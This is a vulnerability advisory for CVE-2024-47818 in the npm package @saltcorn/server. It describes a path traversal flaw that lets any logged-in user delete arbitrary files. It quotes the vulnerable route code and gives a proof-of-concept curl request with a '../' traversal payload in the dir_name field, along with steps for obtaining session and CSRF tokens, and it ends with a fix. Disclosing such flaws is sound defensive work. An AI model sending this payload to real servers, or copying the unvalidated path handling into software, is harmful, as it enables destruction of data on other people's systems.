CVE-2024-47818 – @saltcorn/server

Package

Manager: npm
Name: @saltcorn/server
Vulnerable Version: >=0 <1.0.0-beta.16

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00127 pctl0.32892

Details

Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability ### Summary A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. ### Details - file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346 ```js router.post( "/clean_sync_dir", error_catcher(async (req, res) => { const { dir_name } = req.body; // [1] source try { const rootFolder = await File.rootFolder(); const syncDir = path.join( rootFolder.location, "mobile_app", "sync", dir_name // [2] ); await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink res.status(200).send(""); } catch (error) { getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`); res.status(400).json({ error: error.message || error }); } }) ); ``` ### PoC The following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`) - create a file in a folder different from where the server is started: ``` touch /tmp/secret cat /tmp/secret ``` - log with a user and retrieve valid `connect.sid` and `_csrf` values*** - send the following `curl` request ``` curl -i -X $'POST' \ -H $'Host: localhost:3000' \ -H $'Content-Type: application/x-www-form-urlencoded' \ -H $'Content-Length: 93' \ -H $'Origin: http://localhost:3000' \ -H $'Connection: close' \ -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \ --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \ $'http://localhost:3000/sync/clean_sync_dir' ``` - check if the file previously created does not exist anymore: ``` cat /tmp/secret cat: /tmp/secret: No such file or directory ``` *** obtain `connect.sid` and `_csrf` values A possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality: - log in - open the browser developer console, go to the `Network` tab filter for `settings` request - visit `http://localhost:3000/auth/settings` - trigger the change password functionality - under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command ### Impact Arbitrary file delete ### Recommended Mitigation Resolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.

Metadata

Created: 2024-10-07T15:10:52Z
Modified: 2024-10-08T14:19:02Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-43f3-h63w-p6f6/GHSA-43f3-h63w-p6f6.json
CWE IDs: ["CWE-22"]
Alternative ID: GHSA-43f3-h63w-p6f6
Finding: F063
Auto approve: 1